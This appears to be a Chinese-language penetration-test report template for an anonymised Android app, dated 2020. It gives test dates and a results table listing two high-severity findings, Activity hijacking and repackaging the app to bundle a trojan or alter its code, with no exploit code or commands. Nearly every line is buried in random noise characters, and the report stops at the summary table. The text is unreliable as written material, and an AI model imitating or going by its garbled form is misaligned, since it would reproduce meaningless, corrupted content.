% b% m( X j" p: T, L; h' h& s& @
; D/ z6 ]3 S$ B9 S8 K4 ` . _5 [; g1 L4 c
! C' P- B0 g/ Y8 T
% R+ i* n& A6 v; w! c4 O( L* S
! J$ D8 h6 H9 |
- o" P& a9 j$ @1 P& s$ e- d
8 k# o$ i6 a( ?
1 {( A2 s) {* h6 i; o' i: {
|- ?: M( a2 q
- e" _( L% s& Q# i, q- o6 _: d# r# o! G) P4 y8 }& B
文档编号:
: w$ w& o1 _1 l9 i& {# Y8 f+ w% p8 p6 D9 o& j( x) }
/ N, h7 V. O3 Z! g& a" r P+ X9 K `. \; n: V( A# ~
9 v" }4 t, d `. s1 M. J* g% M6 E! z
# M, G% u/ m4 _/ L+ J8 g, T
; D* l9 y6 q7 m5 x- m; h* U; ^2 Z5 A
* E* \4 {$ r M* c6 s/ f. z
) a. F( u6 z! G5 w
& k1 K4 ~2 q2 u3 e( V
4 z& L0 b& M- r8 E/ V- _, z6 B : x: _5 B1 z# r3 m
' M1 d3 c( B4 T% t
& m* S" s1 c1 ?* }8 T" K
' e- D8 @1 A T. W' m0 G) s! Z4 p/ W4 ^
. A: I$ }# l+ S7 U" o9 a" o
f# L$ t0 t) S" Y
# }7 O7 r, W( Z$ Y; R) o
0 c3 ]4 e2 q, D- n& P
5 }- [, q$ Q8 |
4 S8 v* h0 R. A ' p" Q6 H3 T5 ]) a* Q
% z( _4 d, G6 I# m. p / I( r' z; I% |. [
) j: I1 ^$ o/ I# I6 y
9 v7 `) `; m' O+ a
5 M: T3 J, n4 Q9 Y5 ^" h \: f 6 [- G# i3 \( E; Y. R0 k3 o' j% H- w
7 l w7 W4 B$ A( C5 h
$ W# x% B) A- o5 T# k: [. h- ]0 `4 X9 T9 L, b
3 T$ x/ l5 R6 J Y9 S
2 x I, N* }: c4 I* k
8 O, U3 b. E" {* k. O1 c% L
. J- m4 A7 O, C+ E 某某某APP渗透测试
C/ ]0 g& Q% T+ r; E; R% U7 G' y8 w3 K/ p. o
4 M/ ]& H. d0 K
! s# }, l$ @* k: a9 A, R3 z
6 `5 t' J. i3 i2 |, `! K
9 S: b2 x, i/ j5 Q* f2 x$ F6 D
' f; o/ g( h& E0 Q6 n" n, H; U
( \: O( T+ M( Q* [: F2 x. N# g
- ~* i# I8 I t$ J. x5 `
, t, }, ~: T" {7 c& Q# ] + C, q. s, s9 r |: a0 G
. I% ], M1 d+ U
o2 c7 \$ o! S7 q! [
$ `+ y+ r0 N6 Q( v
- j z& B6 K1 l: e! a" T
3 G% j1 C! k9 r. `" P & u1 W" |9 V' T# H& S
; Y2 p4 I- P( Q l, R& B
( R. B# _8 G1 o; N
/ j% w# O5 f6 Y T9 n
5 Q" } E! @4 J7 n+ o
* T" \+ }0 p( J& J , T4 O7 `3 E# {! N3 I
& C% a2 w$ J$ H
" @ G$ X& c) h6 `; b3 A. P1 G5 B9 A- y
6 w: z/ ~3 X: ?1 U0 c. ]
" S2 G' S- W. }& m; L8 g1 N
6 G' {' ?/ Y1 T
6 Z: N$ i5 J! O* ? 技 术 报 告 8 ^9 N0 ^2 B! ?8 O3 ]5 r
1 d6 k& U* J9 R7 B+ r, ^
2 }9 a2 D( Z' X# D7 y2 d
$ ~3 m* U& Z h7 @* X
9 S* V2 `3 O% x; w2 i' C! w
1 i3 D/ M1 j: h- o* O - o4 j6 [. D, g- ^
$ y7 Q! [! P; O
1 T6 N9 h+ l4 N I3 \
$ i) F& I6 B% K" A. @ 2 Y! ?5 Q m. h/ F7 o# [2 c
/ X& S$ E' k y0 ?1 Z$ _% h. T
: v& i; z: D& ?4 D4 M( [9 L
" L$ x- F& W" B9 @
, F$ m- k1 j; P% v
: K+ {2 Y; U5 E+ z0 I0 J/ o ! T, E6 Y; J$ [7 F3 N" n
9 r2 E, G, I( d, k& x! k
! F$ h. j$ ]0 d* N6 D* K0 I
# J2 o8 s8 r6 b, `
) I, j0 B6 s0 |, g; o- W2 n/ n/ x
3 E7 G. F) ~$ ^- j7 l& `) l0 Z3 r" C2 g8 {6 w; x% s
* i5 `9 I; r, t& X! _
( }9 t: ~' U4 s* L+ \
* h: J C8 I7 Q$ X# Y A
7 B# a' A# ?0 q9 `4 ~- Z3 o [. x: z; _4 I1 ^
4 y* Z ^+ d, V. |* K2 O - {! ~. Q* |$ F, Y& r
, h, M" _5 b* O- N4 |+ ^4 M9 W
4 y n, ]+ R9 C0 r8 ~' n
6 r0 u [8 Q# M* E- T / h/ j; ^$ x! E$ m
+ `+ C; W. x! I" b6 T" h* I
) V. [+ Z# Z5 S2 J1 P3 ~
5 h6 S+ \* ^1 l& Q6 Q
/ A, \5 r0 l/ {
( i' o: K' t: U" b& P) }4 a) A " _! v, ~ y+ F: }5 W
; y0 u# l+ v6 s3 [& d# x! {
g7 d; w& O9 {6 `6 ^1 |( s7 ~
/ }( [$ C+ G% B' O/ q" N- e5 }
7 t9 M5 Y/ h" @+ L' N+ e0 o% J
; s. m' b9 g3 s+ x# l/ }
. _" K' Z! }7 K3 x! G$ \; z: N. J$ |. w
# d+ U9 l# N9 N
. B4 i" ], ]9 }+ N, R
# r' I" U I4 k1 J9 \9 m% \& H/ L) l5 I
9 @7 j) ^% I) A$ t: a3 m3 J
+ b, b. k0 Y+ e6 a1 R
0 J3 n4 ?4 _( R T& `2 A( Z
, q; `7 v, }. f% Y, T3 J
& D2 M7 l6 h8 h2 _9 D9 q: ? ]. R
* M5 S7 F2 a: L) {- k4 _: R
3 s( O+ N2 k( W/ G$ m9 `; ?5 O
# x3 g5 F2 f+ E* U. B
5 W# }/ j/ C! d9 {. V0 O/ y
! e7 e1 Q# l* u, z# m
8 }, K/ l5 ]! v6 D$ D) F# [$ o
7 V# i% _ G q5 I
4 t- l8 ?9 {' {1 Z
, O, a) Z$ E1 h- Z
1 m( m$ R% e6 G
O k* N. O6 A& F! @. j) q' {
* o& ?. M3 b" ?$ I3 u" Z) i' _' G
0 v5 ]2 C! ?5 r0 s1 `: q2 G
) T# v7 I, q* \4 E u5 k# P# y1 r, K- i! I8 _. O
6 A$ j, [& u4 b- o2 A) B: `
4 D, a1 m( i1 n4 |, E( B/ Z$ j
( y! d! Y& [0 \' U9 P% Q/ o- Y
) q$ U1 o* O T: o) R6 q% A
! I( F7 q) K1 G; x/ N
; j0 [7 H& P; u7 M' {* S' m 8 u/ G) t V0 X, d3 Q, J
" E* G/ ^" V. s) a* ~
5 S, m7 E- Y- p2 v) f% f) c, h/ ?) y' H/ B' E
' \7 v. u- z' U ?2 ?% `7 }3 ]& A: v7 q M: @
/ P( [% e' S O% c9 g( a
, S# t( U8 u. f! w& m* V- p, K
8 Z- U" k" ^7 _3 V; q! @% G7 ^4 b! R4 Q% T5 H( b. [/ D, g
} M& o0 }: b9 G* F+ ?5 q; r' V: A
5 _8 v! z: A* _1 E
. D6 @2 C' j, u
9 d# T2 Y. w8 |
. m/ o( [' p1 X5 B7 X
3 V6 }, p" {1 u8 g9 ?
$ @* O$ D1 N" Y* H
' s2 c) J8 h0 z: A, f0 U' R " X3 k/ W( y+ a8 S5 R
/ q* x; ]# G% R7 O
2 H2 E0 W4 O* Y" T- I/ N' l1 @
( K# ?' F- Q' H' [. E
3 a. J9 U& l9 j& _% X& p
# }( [: P9 {1 N4 V
- T- X7 @' B% j {* J9 u Z4 Y
/ `5 Z; G) B6 y% j
" ?- X* f, f4 d7 x, z$ F
0 Y& u% g0 f7 [" }" A* U- ?6 {9 P4 }
1 S9 L0 S9 g2 `# j. z6 _/ z
: C% d: E' k( t6 E' [
& g! m5 X. D. g3 i5 l4 s- Q2 n$ {5 V6 |% T
, S& X* u4 K4 Z1 W) i4 i5 A: L) y. V2 |8 V2 I
% `' H* Z6 t$ }, a# I! f
6 @$ S, @6 c# G6 O6 h5 K6 h 二〇二〇年 7 |. n- M9 `$ o: s; r. X: _
! I$ \: B3 [) Y; x# s3 |) G3 W
, x. e* x5 ^6 y/ D" {7 G9 D( w
4 x6 o% ?* _/ L7 |) \# i0 n) ?" z& c
" ~% B6 r% R6 J/ ^6 ^+ w6 g* i( ]3 }5 C+ ]
L- o3 R9 M5 K" K1 p. X; F
3 J6 U& y0 H9 m2 K
: s- B$ E. A2 b* d- p# Y' y, `1 x' a4 e
9 P% S- |! b8 J9 ~/ _+ {2 L. N, s% m" n9 ~
) J) x* c; K. ] u9 {" M. M
( X" d' M( D0 F- h3 R! W" k8 H; r
; Z: k8 O0 R: ~1 N# f. f
, h. M; w2 f0 E- p5 J
2 t0 G. t0 ^6 E ]$ o/ P' `, t3 W
- @$ R& [3 r1 w) e$ X2 P) I
) N4 U, M4 e3 w$ Z- }7 I' T, u 4 B+ L/ L5 t' A2 q* R
2 J5 {. i4 N/ m% m5 p
目 录 % u2 m6 N: d; P
F3 C; L' L3 t' m: N! P8 F3 [
) J! \. J, N$ T, f
: C: T7 Z! h3 G. a: W# ?# E
6 U, E j+ o0 c2 p
" v. T, U9 W. K4 _" I' F6 x
" |5 e5 f8 n* j, g1 R9 P8 ^" |( M: q1 n4 t1 n
. x$ v" C9 |) |( ?7 `, v0 r2 v! m, k2 U7 V
' g0 p/ \! f. c) A- \) @& h% |2 H1 n
( z& U3 A0 J) k
- w7 j- N3 F* A$ h+ v: G3 I3 C 1 概述... 3 " v5 H2 M' V; }! p* w- y
& a: _4 ^1 s; {3 S
4 |- A+ ?7 X4 W7 [& X$ t
" i3 L: i/ a3 v6 M* j0 H. C) J
; z( c) _, Z6 T7 I( G0 h
; j; A9 a d7 z0 Q9 Z1 u5 B- Z
1.2测试时间... 3
! {6 {! V/ v" W5 X( s' M9 s" @) \* `; K
; e9 t, `# Y# h2 I
( ]& a* x8 n, I2 x) W
# z% a; `8 Y& ^4 \8 h- { v) G0 T$ \6 z2 U* D. g8 @6 R
1.3测试对象... 3 5 G4 U* g2 d& b, ^6 [; r
4 M! S8 m3 _9 `: e
/ I$ J& S/ q& U) P2 w/ h( z( i) r J. b( O
/ Y+ @0 k/ e" g$ Y) \
' x3 Z* |- X' n( w* E 1.4测试结果... 3 . H) f* W; k# n$ W0 {' ^
( I+ O l% p- |8 {% _
; g0 U3 S( V3 S* J) t1 Z( h1 p. C$ t; @0 y8 N3 |
, a4 q) O8 ?: ?$ r, O( n
; [9 M6 Q7 {: V$ H! a 2 检测结果... 4 ! ]+ X* Q; d, m6 P/ D8 w
; w& Q& D0 { A, c8 }: k ?
2 ?! k% f# f3 z* t8 _/ ~
0 F7 w+ [" p6 e # S; V3 |# O) D; C& n
! s0 ?$ r, P q) ? 2.1 某某某... 4 ( r. ?9 M# Q2 F7 S& Z8 V9 F
_, U! A c% X9 q
$ d% G8 ], \: V `! @# f* `
3 G d3 y! f: b3 c1 n
* \9 o; _ I" V# o, V. R! Q7 _
7 u' L s% O- s1 E# M' @ 2.1.1检测目标... 4 ) `% ?3 D+ W- h0 L% Y
- w @+ O! G( b+ O/ ~
% L+ V' O" W6 f7 x8 T
6 j* Z" X8 @0 Q- ^/ B6 f
_+ ^/ R* N! R; Y" N( W3 y
3 H: s4 h3 A9 p5 o7 E 2.1.2检测结果... 4
6 B& \: E- x0 y( W0 Q# X4 f6 p- c0 d
% g1 r r+ R- n. x2 J7 A
( @2 m2 @+ q5 |% r1 N
; I, {# \5 a- H& Z1 k0 p) e! X
0 t+ F+ H( k! E) J. l" G! A' K$ A( c) H. a* M( [2 w
2.1.2.1. 4
$ Y1 v7 i5 h; m3 M# _" q, L# {% ^' v9 ~8 M; T* y U
* I" J* L; w% D5 I4 ~4 n
: F# A6 @' l, C, q& h
W: }3 x4 [! h' n; h8 B+ j
0 w8 l3 c, T+ A) I+ ^7 y 2.1.2.2. 6 # x$ B/ z- H% S% e. Z
+ R4 }/ S) J) a7 k. X
v; n/ s- _8 t4 e+ u4 C9 T7 O: d4 M8 [3 \& P z& F
- E% Q0 O7 G, N( C! F6 A
4 T0 X1 ?% o$ Y
! P3 C! h, ]( J4 Q% p p: B7 D. }( n- Y
5 Y9 P" p) ?1 ?
P3 O: k$ h& r/ Q
" T' j' {8 l* {# J
# T3 {& u: ^0 ~% g; j- F% _1 r9 p
9 f# U, P$ V" F8 s- n( \ 3 t4 h3 _* Y! M) S* w
7 r- L) L' d. F
/ a5 ]% U: t: Z" v+ s0 C6 @ H/ ?
. h# g% Z1 u; m B. F- P; ?
$ v4 D: X) B" U+ f: X! k
8 e% F' v5 i2 C0 u5 {
9 k0 @9 { \! V8 V5 B8 @) L
$ n- _$ M( k3 t
1 概述 8 g6 q4 h J9 Y3 y. Z! \3 i
$ ?+ y& u* d3 \" }. a% ~% w
* z/ W F1 I& u0 V7 r, c( Z
+ O# B! L7 G' x h7 P+ ~ 0 u1 y# z9 ?# m* _6 h' L6 m
4 J7 u- Z1 M+ r9 V 1.2测试时间 , u1 N& n0 m* C- Z
$ I/ X. R& N3 u" t
. d$ {3 Q' [* Z
1 e& G7 I" o. P0 T4 z+ K6 l 7 N: o+ x$ R' a
- Q* A n! Z5 W9 D( }, }) m
+ |7 t2 m/ F, W. A/ e
! ]; P6 q9 c9 `2 y* C L+ ], ?
$ W8 @; X9 w: K2 q6 U# ~/ j$ [4 x
|
5 U3 @5 [$ `& X) H2 i w9 B* D/ K3 d
$ n8 y( A# S$ f7 n: }' v
: n; r. S! Q, C+ E
渗透测试时间 + m/ v% v1 e; c( v
e. X) h( Q; X: A2 l. ]6 S
9 y9 D* Z; @ v( m& ^0 Q. ^! S! N9 ~# h) P
|
' e+ c3 S5 |' w; m0 V' k
, `/ E; r5 G- y$ x( u- D& s
! s& m& Y- w' [2 \8 W9 y- t
: R; w7 y% @: T2 r" K( g + C" j' o6 c/ t
0 w- ~, c4 o/ p. j) R" l |
9 _( E% N& T! V: [6 r
4 [9 }9 n$ a; @% D6 q
7 J- q7 f; U0 W
8 P" j/ j- E! [$ P b. t 起始时间 " W- O. I8 ]2 _6 {9 _4 s; t
+ H+ }) v) j: L& \2 a
" w& G3 _4 |. @
2 c+ M9 e0 p4 m s: S6 \# B% f |
5 d, G7 g7 l! X' B I! e
8 F( V5 O" H- h 9 V) G/ M! ?3 k2 j$ Y w" K6 g: z
# H7 W, s6 X# C6 y5 S* w3 J
% p8 w+ \7 p2 ^# W- P- b
: P# q) x) i4 i- [+ F1 {$ ?4 {
2020年4月6日 0 H& Q* b( o. e' w
$ B9 j4 H$ F. R. |4 [
) B2 l5 G J) N/ @* B; h
: d- ~. f! I# c( W1 ` | $ C; f( L9 H: A
( v9 k# t7 d+ X6 B' _# ]
# g* C3 p. u' W4 v: e+ H9 a( A* O' Z
6 Q. G3 I$ H H% \" y/ f* P6 X% @8 r4 i0 C: W
|
4 X" X6 e) ?- W' s
7 H* ?2 h R0 t$ u
7 \7 q4 Q" q k; ~* w' k# ^7 P6 F3 J( d9 Q% W+ ?
结束时间 7 T# U& l& Y( d! I
) n9 r+ i. @* n. L2 c' M* f
; h& d( u& W' I& F* q$ a
! N$ L5 l$ W+ d. M: b
|
* X4 }6 d8 U# f+ c J& O+ w0 r5 {3 ~! O% E
, t" A+ S0 z* H, I3 n) A X, `
7 O ]" D$ x% k5 Q1 s# |
2 b5 K& L) S( S9 i0 f2 w4 L9 ~* ~2 K' I& L% R6 b2 X$ H! F
2020年4月9日 ' u( q, P! z$ T0 H- Z
j7 E0 T5 i- f0 L+ U+ J$ }+ i
( a; R- u7 c+ D! P) f- q
c7 e) [9 `& ^1 q+ c; s/ U |
- P+ R! P; t9 l' |5 g8 L9 i
2 v5 k. R) U8 a" N$ O$ |: \
$ S+ @: v! G& q2 q9 \& v! S0 \! I! ^4 s5 l6 i4 q
- }& N# R( T( l) E) m( r) ^; |- r0 ^8 X w% h
3 ?* N$ r& y5 m* \
2 e! c: [* _- c; n6 ]3 p- _; m
. }2 D" w5 C% E; b
o. v4 |& `3 ]0 X9 p
1.3测试对象 7 K5 @, T9 B1 J$ X$ x* x5 i! l
# S! B! R9 s$ \5 j: x# M/ b
7 @% g b, W- Q4 E3 o5 z; m$ ]
# S$ \. `: M# E: `( A9 ?) i/ B
; H. C) `5 C1 O; f" n
$ y7 ^1 _0 Q: r* E2 k! e, j 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
" [0 t: q+ I/ }( Q ?
6 D, a4 l; Q }: h- s, a
" r1 u9 i; v4 C/ w# h# B! V% G2 A& L
8 T& y: @4 _' m" L- A& L
" m, O9 X# }1 ? G; w' i: J( }+ h
$ e5 A4 M5 T& _9 v 表1-1 检测对象
) z! N! F1 V/ w% r9 x" W+ R
2 A: ]: J# E. \, J6 U( U
2 `) N, I7 U# I6 q
$ @5 X( R& H* j& i* z7 ^' t
6 p5 E% q, m8 v; Z0 r) B3 F6 M. ]2 [9 F. h9 R& H
: N4 w8 A: N' @1 ]1 E
( J) k* R. J: V# H; T ! n @ \0 f S" N& R
" }& G9 E; L U& y8 K3 \
| 9 a% n4 u$ H; J6 ?
% ]6 v* \' y6 G9 X4 d5 ~
( c- C" l# v H7 p1 k* f0 A& X8 _ D! B2 T0 a
序号
/ w* y1 V/ Q8 _$ I1 x, N! |: y' \
# s9 f* E' @( R' e+ o + n3 o2 [- G, q# w3 _
- s7 i& I! y* H0 v
| 8 B0 r w2 p+ _% [% X) v# e* y/ X
7 p& t% ?. N6 q" B
" V; l* l, N% i% U+ H( F
# [! R' y ?( S
, X1 o- U! |5 n+ n
# X# g5 j9 s* I2 ~) l 测试对象 / w. k0 ^) o/ f* J
- ] `3 h& l4 L& s$ ?: m& n3 Z
# X" ^6 ?$ e+ Z7 G
5 w- K9 e3 U" u5 R: O8 w | 0 d: ?- I3 j- J
! a; [' ~; w- B* U/ ~4 B( h
2 Z. w, v$ w, S! w0 I5 F+ ?7 R4 d2 c+ w- ~, K
( t! ^, ]3 d6 }( c8 j$ r {
, ~6 `# R5 _: L7 W
测试地址 4 l0 _9 C" e2 h+ L2 E& J
+ Q7 t4 b7 ~$ @& X 6 M/ B& z; _& C, {+ p( Z/ b/ m5 B
. f O( c/ O* a* d; k( R |
S" m1 B6 H! q& N
/ O7 w* H4 `, N; T6 L+ A! P6 f6 R ! U' b$ f3 s3 A
9 Q" S/ k9 s3 t/ O. ~% z- y
) ]7 z; j& S9 ^$ x: G: u8 e) K6 e' ? c/ |5 y, G4 ?! V
安全漏洞
' r* T4 S; Q/ M. W
6 w3 K( d3 N, o4 @9 u" Z; x
# u% F0 p! e. u: x. t# ?
% D. R& y" m8 d9 ^- y |
7 v: I0 \! X/ H; f' s. ]5 m" k, @9 x- O$ W X& F. C
" B& X- c# K, I: y ^8 z
n P0 A9 s) x
A! n4 d* C0 p, V. o7 Q( T* `5 H+ t. M
2 J$ p E+ w6 a L0 {$ c |
) B5 [$ }. Q2 N" J7 l" u# a r/ f2 C: s! l, f3 B% O
! q& b( _* B* |% o9 k. [( t
& F- s* p* E: K( e1 ] 1 4 }, p- q- u3 X$ T, }5 u& ~8 ~
9 Z, J2 g; u+ S
- {& b! L, ?. n2 G5 M( I0 v, j
% A: K1 B! B1 [3 W/ I | 2 r5 w. P6 a2 v! T0 K
, e; `; z, Q7 ~7 L
1 y6 h5 g; X7 x5 y+ T. C+ b; y+ k/ ^# n% C. u
5 G2 v2 \) h5 e& ^, K) w
7 X: V0 i& Z2 S0 Z
某某某安卓APP
1 ~4 K6 I7 q" N5 h+ ?9 ^1 K& Y8 k
& q2 ~: b u, D5 Q2 f
s+ j( B9 J$ b, F7 S) W; e! f$ |- w% E4 O
|
% x0 q2 c( M0 }4 C
9 [' N$ M9 Q$ x" g1 b; U ) g+ m3 z/ n- {3 @
) A+ @+ W- `, v0 y0 w+ C" I. {
2 i6 s9 G+ O7 H8 k+ \
6 F! D; M2 p% Y2 U' G% U 6 C$ _# ~9 p5 Y$ N8 w
9 ?! Z8 X7 c9 p o; D
% \; Y7 C9 {; M# ^/ R. v
$ E; a3 O* G& G
| 2 U0 D ^) c: L3 S( t
1 L# E! n T3 x% ~7 { v+ T3 I
& C) u8 Y' y5 o1 N& V2 W0 A
0 H4 |/ l6 r- v6 {3 b # d# `5 A3 c: z# E- f8 c
2 z$ o# J, R4 U' _
2
$ |0 Y$ G& n. b
* x& z' \. X t# Q5 }. R1 Y; Q
; @4 g9 p( [; y" N
7 D. ` d' [- b |
$ V" f! K1 n, ^4 U+ l H
( W8 {" R9 X- c" v, q
) B6 O5 u5 N/ \- Q; Z+ p
8 }8 T0 I# i1 E ; {& y2 T4 I t
, L6 o. H* d, j! U
2 ]' H. m' e4 j& k! w6 [6 I
$ Z c1 R+ B' R5 n
' U6 U( C0 N7 p. W% ~/ [
% w, J( K0 v; m: [$ t. `7 P- r3 @ 1.4测试结果 % `" R) F' Y6 A1 G4 Y
1 k- m1 u- O. y5 [& P' W- V
3 O. T% Q1 r _" F
% T M: @+ B, w; P1 W 9 C* C5 a9 h3 o
+ g7 G7 k; ~/ ?* x/ z 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
3 d8 R% c' ]! i- @1 {/ s- c$ B% w3 g1 A3 i e! U8 _
1 m4 D& r# V+ z, I4 f
. J1 q6 L! G& `: T0 S
! o7 c0 n' T" e' b; T# S; N0 x6 b; q" G
. J: q8 N' q, D2 c
1 `3 |- R8 B/ d* n$ f
/ d; a+ d7 |$ d# s w8 R: O
) K8 s" Z( n8 p# l9 c! v
- ?, i; \- F- Y5 Y4 n* ~0 \5 ]: g# D4 g# e. c1 ?
! q: ` K$ B: |# n1 s+ i! J& x
4 Z0 `0 @6 W' f& {0 t $ z+ C5 I1 s+ i0 `+ e
, \0 v8 d6 @/ _
6 p. y& ?8 P$ r" ^3 c3 |# t5 E# E: u: t+ h& R+ i
|
& M5 C3 E- A3 w: I, J' b
9 A- J0 L- A7 r9 Z x ) G# _! X: A9 I, r: R% [
; l# N- K2 P' w/ p8 R 序号 1 B: Q5 |. ~4 Z' m) R
% _* O- l4 @5 c0 X7 z* q. U
: [$ O0 `$ ~! U' l( i r" t& d* ^/ N* T* ]
| ) H1 W( k* O/ Q/ L4 r, ]; H" R
a0 r. z+ X) m; r! A V 9 w. ]" g% ?. f7 M. k
3 G/ G: s! B9 H" m$ p
, B% z" L4 d, J' U( n
* a. M1 `) v0 Y* G- P
系统名称 3 Q1 M. \" o- h: g A" P
5 m/ @9 P& K- P5 P+ a 5 i* v: G% _8 @2 p0 ~. `
' h% w% v: |6 |# b) T) l | 3 X7 g3 p; {, i: Z. C( l
5 `. c" x+ Y- Y) X0 Q! ~$ q
: D' L) u {- A) X& A3 I; R
v& J. v. `6 e$ t2 f* t
$ n) }; f7 F6 b" ~ a1 H5 V; f _
漏洞名称 6 ^7 r4 F9 p- }, b/ ^$ a
7 r+ }, E0 @0 A6 V$ f
+ }$ J* b9 N7 n3 U! ?- Q, ^- K$ ~0 v% ~$ T+ v
|
% j; A7 Q& G+ c7 j% K
8 H8 p% ?9 q3 k; Z* k0 E1 G, D
' h" a8 t$ A2 r# q! K, i0 M$ Q' E, B& O5 q
: D& R7 A9 l* C& z! ]2 z3 Q2 U U
1 F0 |. l2 q2 Z
漏洞危害 + ~) C' O( Z i" i
5 _5 k8 X6 w( W/ s% N2 M3 D5 r4 `% q: L
" T S) `. `9 V2 h5 P2 _ Q, x; u
|
3 l8 H2 S7 C" u$ @* `% ^4 r3 |9 F' @/ A2 ~$ H- y
" M4 O: c0 W- E5 g7 m9 i2 x3 p
9 d: F# Y4 B' u, g: ^) q
4 L; R+ `3 o* u1 u8 W
& ^2 v ?+ u0 s4 |0 j: X0 N1 d 修复结果
; Z- e" t0 _. A" H7 P3 _3 @8 v% h$ d0 O
( z p K! i$ y
' I6 W2 ~* @9 r( x6 c | % }5 P2 h9 W% ^* @( O7 ^
" ]8 k3 U+ ^ D8 V6 V3 C: S+ { J
2 g! v0 i- Y" y: a* g+ X
6 D1 ], G' j6 [% z6 ?$ B6 v
4 _3 T0 I8 j L& W' ?9 Q7 ^6 j. {& `8 L$ n: b/ E
|
* W" _; g; A% a0 [& I% ?
! f' W; G, O3 b0 Z A# H
9 D* A; T, `2 Q& k( o9 P. Y
: s6 u$ Y' P) v! T. W$ h+ E 1
! V2 Q0 f3 M4 v; E9 o
$ i: O6 H( ~1 P6 Y$ J/ B) ~/ C' u( e. f
- j7 ]# f: z) S3 u9 A% ]( w Z
$ [' V3 v& \- ^& b |
% `3 ?3 f" c' ?5 ^' r/ a
# H' g" Q# G2 T+ F/ I" R " p6 p, G. K, W J9 I) a& K
v5 ?/ }8 Q* ` ' ]8 W2 v% U; ?( ?2 C) l, `
7 ]$ w' r: X4 _9 X- v( V
某某某某某某APP ( A1 h8 [8 [- V9 U, B6 a
8 g8 _9 Q( O1 F7 Y% ?
: ^4 v- t' P J0 d) ]' X) S2 h+ K, _2 S4 v1 Y p0 c7 f6 {
|
9 @+ S$ U# k& C; ?; K6 G! v2 ^7 L& @; s( Y& W
( K4 J% I# y2 D- v: Q; C
" s$ @4 }# {4 I1 g& [5 Q- E/ M1 M & T4 W* O9 E8 n
5 Y# n5 w6 G$ ^5 f0 N
Activity 劫持 / l5 z% v* t+ q/ T2 o5 z* a
7 l. b8 I+ \9 V- Q4 r
; B# ^2 {6 X7 s: Z% S% t5 H0 l+ w( H; c1 `6 H
8 f u0 g5 ^+ J. y" j. A
`/ |( U8 P8 q8 t9 }; p5 v# ], y
8 A6 d& D8 q& t- C+ E5 N/ \, F; d
( x) q. Y. Y0 ?+ f $ R+ J. K. E, d- t! L5 C
6 j# A0 @& G" O1 [
|
6 H$ M s4 P! P0 s+ o2 A; Q! }( z! I: _7 g+ H! b) S
% E6 Q9 Z" I x3 {9 B. g
, @% H5 n- E, ^
2 g5 L* E) @/ E" h: B8 m) m. C; v+ b/ w/ M6 h
高
$ h V( T% Q7 q4 e4 D c
|1 d4 Z- i- b( G g. P2 ] & K& f1 s5 Z# |
y7 y/ R# s) X7 s; } | + j" G4 O7 g5 ^9 b# u
$ P* i* L2 ^) l7 z9 C0 \: v
! c# D% U' C9 W; `
- S& d7 E4 c; {& _$ X' P
" v% T) k* W0 s& e9 l( }* P0 W
* N* D4 }* X s9 g
0 D! O4 ~" C) q6 V) l0 m. |9 B9 @+ y9 _4 f% v2 C. M# J
" O5 B* L" U7 ~* U) ~" r2 I; a
4 |' ^4 q2 R" j3 ~% X6 a! D | / G, G# i: \5 S7 B' e0 z! f' u
$ O' q- _ l$ k. z
& S8 Y- v$ W$ t' s+ r: w( R& k" O/ r- a- p1 _9 { W
$ w7 `) ^" u% f( y. m4 L7 b Q
) u @# o% d% ~2 k2 Z | ; @: Q0 J# g; L3 E
8 C5 |, x: W7 ^* N* s: L
, @4 l* d; `$ n0 `( k0 I& v5 `8 p6 x" c6 w4 I& ]3 J
2 # {5 ^0 I' e* b( L0 f/ r/ O
2 r8 z8 K; A# n2 v! o ~
% d0 x& i; v9 \2 S- @$ ^
3 ~; V4 V+ ]5 ]: d9 G! F | 4 a5 M$ }" \2 L a% _
2 o- ?4 \" ?- @
# S3 e8 x" y& A. q: D: [. c7 g
9 [! O: s4 T! h( e1 @( X% B2 A" F 5 V$ d7 d: r3 h- Y( l2 c/ {" v$ K& Z9 w! K
# [" S+ b) ^% U/ O 某某某某某某APP
* [' G! J/ Q7 j; e3 j1 Q) `) S2 k. }' G& A3 g
+ y# p8 J3 P! X9 R# {5 a2 V1 x4 e9 @9 o4 d: p% K
| 3 Y5 k& l% m& |3 N
n8 O1 E/ k) i* `0 E% x n. }3 u) ?
$ a( k$ U0 B) j' r. S, j+ _
0 G, q5 ~$ Q1 M4 T Z* V; z
$ Q0 }: U. }$ f6 Q- v; s7 m# E$ E
反编译二次打包捆绑木马、篡改APP代码
( u* ~8 _$ h+ `5 U2 q& n6 H7 {
& a( e0 Y& g; K& F
7 R* ]+ {* y/ ~8 q( u0 o9 Y
/ Y: s; M3 N9 t& R u6 q U | - H- Y1 ?1 n, ]9 J0 M
6 C5 |6 ^ t, U# J
7 V' \% {; L, Y. @. \$ d
, G, R! N9 C! r9 R: `2 e+ R1 k
8 ?+ H9 |% Q( G( P3 A0 r; X
8 z8 T+ j- Y, y 高 & E( ] u3 ~- [( s$ y
' ]) A7 w1 c, x! Y
) [ Q! a; Y& ]7 G1 p& _
0 |1 M0 Q- H* h$ o" f, d | * W. w5 Z/ m, A
' w$ C$ ]1 ?( i, z: Y$ D ( C8 d# G7 n2 K! d7 [- ~' M
5 L h* t! r$ b& J/ w& t8 e
7 e3 Y9 o& X7 B; ~' d6 S
+ u: @; c1 Y) \2 A 1 \0 d9 i: `* V: S k9 s
. o% i/ y) U9 |, Q
6 a, Z6 N3 t1 x, o7 S C2 a9 z5 k+ K6 D3 k6 c: \
| 1 M+ E, w7 `$ e! M6 m, C
! E6 S3 X% e* Y) p0 t! f
7 b5 r4 ^/ Y4 a
5 |+ d* U/ H) q u
3 l4 ?4 `6 Y I9 x5 h! W
1 V' ~+ l$ \- K' F. J
3 |4 e" w6 w& d3 x0 J
d. } w3 |6 Y' K( b% ]
: @, i! B& [+ }! \$ o- R( Z7 W+ b
* a- p/ a% s9 _% b , F! l5 b V* F G* M
$ y: J6 n+ }5 w5 V X
$ I% M; I& P8 U4 _
6 j1 s* r9 n0 v) t
; `/ ?3 F+ n5 U9 s9 ~! h* n/ G3 x( q6 W& K' r2 r) C
5 m0 U( ~( a2 r4 h$ s2 N" W- ]
6 d4 w- K2 C( u" f, q) `' ~9 A
表1-2 测试结果 - x# [2 T% W2 L8 q% i
, ^: S- q c; G" ^& t2 G
% ~0 @8 V' D( z! l
2 E9 y# q: p7 }. v " @8 P/ C/ C' Z2 j
) \. H+ v6 }* b9 b) ^" D) j; p
6 W$ F: p! s8 U5 Z X
; Y+ n: z% s3 ~ g
